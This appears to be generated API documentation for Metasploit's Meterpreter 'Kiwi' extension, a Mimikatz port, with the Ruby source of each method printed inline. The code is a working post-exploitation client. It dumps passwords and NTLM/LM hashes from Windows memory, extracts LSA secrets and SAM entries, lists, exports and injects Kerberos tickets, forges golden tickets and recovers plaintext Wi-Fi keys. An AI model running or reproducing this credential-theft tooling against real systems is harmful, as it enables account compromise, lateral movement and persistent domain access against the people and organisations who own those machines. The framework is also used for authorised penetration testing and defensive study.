class Rex::Post::Meterpreter::Extensions::Kiwi::Kiwi
Kiwi
extension - grabs credentials from windows memory.
Benjamin DELPY `gentilkiwi` blog.gentilkiwi.com/mimikatz
extension converted by OJ Reeves (TheColonial)
Constants
- KERBEROS_FLAGS
List of names which represent the flags that are part of the dumped kerberos tickets. The order of these is important. Each of them was pulled from the
Mimikatz
2.0 source base.- PWD_ID_SEK_ALLPASS
These are constants that identify the type of credential to dump from the target machine.
- PWD_ID_SEK_DPAPI
- PWD_ID_SEK_KERBEROS
- PWD_ID_SEK_LIVESSP
- PWD_ID_SEK_MSV
- PWD_ID_SEK_SSP
- PWD_ID_SEK_TSPKG
- PWD_ID_SEK_WDIGEST
Public Class Methods
Typical extension initialization routine.
@param client (see Extension#initialize)
Rex::Post::Meterpreter::Extension::new
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 65 def initialize(client) super(client, 'kiwi') client.register_extension_aliases( [ { 'name' => 'kiwi', 'ext' => self }, ]) end
Public Instance Methods
Scrape all passwords from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 320 def all_pass scrape_passwords(PWD_ID_SEK_ALLPASS) end
Create a new golden kerberos ticket on the target machine and return it.
@param user [String] Name of the user to create the ticket for. @param domain [String] Domain name. @param sid [String] SID of the domain. @param tgt [String] The kerberos ticket granting token. @param id [Fixnum] ID of the user to grant the token for. @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user
@return [String]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 219 def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) request = Packet.create_request('kiwi_kerberos_golden_ticket_create') request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user) request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain) request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid) request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt) request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id) group_ids.each do |g| request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g) end response = client.send_request(request) return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) end
Scrape Kerberos credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 368 def kerberos scrape_passwords(PWD_ID_SEK_KERBEROS) end
List available kerberos tickets.
@param export [Bool] Set to true
to export the content of each ticket
@return [Array<Hash>]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 156 def kerberos_ticket_list(export) export ||= false request = Packet.create_request('kiwi_kerberos_ticket_list') request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export) response = client.send_request(request) results = [] response.each(TLV_TYPE_KIWI_KERB_TKT) do |t| results << { :enc_type => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE), :start => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START), :end => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END), :max_renew => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW), :server => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME), :server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM), :client => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME), :client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM), :flags => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS), :raw => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) } end results end
Purge any Kerberos tickets that have been added to the current session.
@return [void]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 201 def kerberos_ticket_purge request = Packet.create_request('kiwi_kerberos_ticket_purge') client.send_request(request) return true end
Use the given ticket in the current session.
@param ticket [String] Content of the Kerberos ticket to use.
@return [void]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 189 def kerberos_ticket_use(ticket) request = Packet.create_request('kiwi_kerberos_ticket_use') request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true) client.send_request(request) return true end
Scrape LiveSSP credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 344 def livessp scrape_passwords(PWD_ID_SEK_LIVESSP) end
Dump the LSA secrets from the target machine.
@return [Hash<Symbol,Object>]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 81 def lsa_dump request = Packet.create_request('kiwi_lsa_dump_secrets') response = client.send_request(request) result = { :major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ), :minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN), :compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME), :syskey => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY), :nt5key => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY), :nt6keys => [], :secrets => [], :samkeys => [] } response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k| result[:nt6keys] << { :id => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID), :value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE) } end response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s| result[:secrets] << { :name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME), :service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV), :ntlm => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM), :current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR), :current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW), :old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD), :old_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW) } end response.each(TLV_TYPE_KIWI_LSA_SAM) do |s| result[:samkeys] << { :rid => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID), :user => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER), :ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH), :lm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH) } end result end
Scrape msv credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 336 def msv scrape_passwords(PWD_ID_SEK_MSV) end
Scrape passwords from the target machine.
@param pwd_id [Fixnum] ID of the type credential to scrape.
@return [Array<Hash>]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 281 def scrape_passwords(pwd_id) request = Packet.create_request('kiwi_scrape_passwords') request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id) response = client.send_request(request) # keep track of unique entries uniques = Set.new results = [] response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r| result = { :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME), :domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN), :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD), :auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI), :auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO), :lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH), :ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH) } # generate a "unique" set identifier based on the domain/user/pass. We # don't use the whole object because the auth hi/low might be different # but everything else might be the same. Join with non-printable, as this # can't appear in passwords anyway. set_id = [result[:domain], result[:username], result[:password]].join("\x01") # only add to the result list if we don't already have it if uniques.add?(set_id) results << result end end return results end
Scrape SSP credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 352 def ssp scrape_passwords(PWD_ID_SEK_SSP) end
Convert a flag set to a list of string representations for the bit flags that are set.
@param flags [Fixnum] Integer bitmask of Kerberos token flags.
@return [Array<String>] Names of all set flags in flags
. See
{KERBEROS_FLAGS}
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 136 def to_kerberos_flag_list(flags) flags = flags >> 16 results = [] KERBEROS_FLAGS.each_with_index do |item, idx| if (flags & (1 << idx)) != 0 results << item end end results end
Scrape TSPKG credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 360 def tspkg scrape_passwords(PWD_ID_SEK_TSPKG) end
Scrape wdigest credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 328 def wdigest scrape_passwords(PWD_ID_SEK_WDIGEST) end
List all the wifi interfaces and the profiles associated with them. Also show the raw text passwords for each.
@return [Array<Hash>]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 240 def wifi_list request = Packet.create_request('kiwi_wifi_profile_list') response = client.send_request(request) results = [] response.each(TLV_TYPE_KIWI_WIFI_INT) do |i| interface = { :guid => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)), :desc => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC), :state => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE), :profiles => [] } i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p| xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML) doc = REXML::Document.new(xml) profile = doc.elements['WLANProfile'] interface[:profiles] << { :name => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME), :auth => profile.elements['MSM/security/authEncryption/authentication'].text, :key_type => profile.elements['MSM/security/sharedKey/keyType'].text, :shared_key => profile.elements['MSM/security/sharedKey/keyMaterial'].text } end results << interface end return results end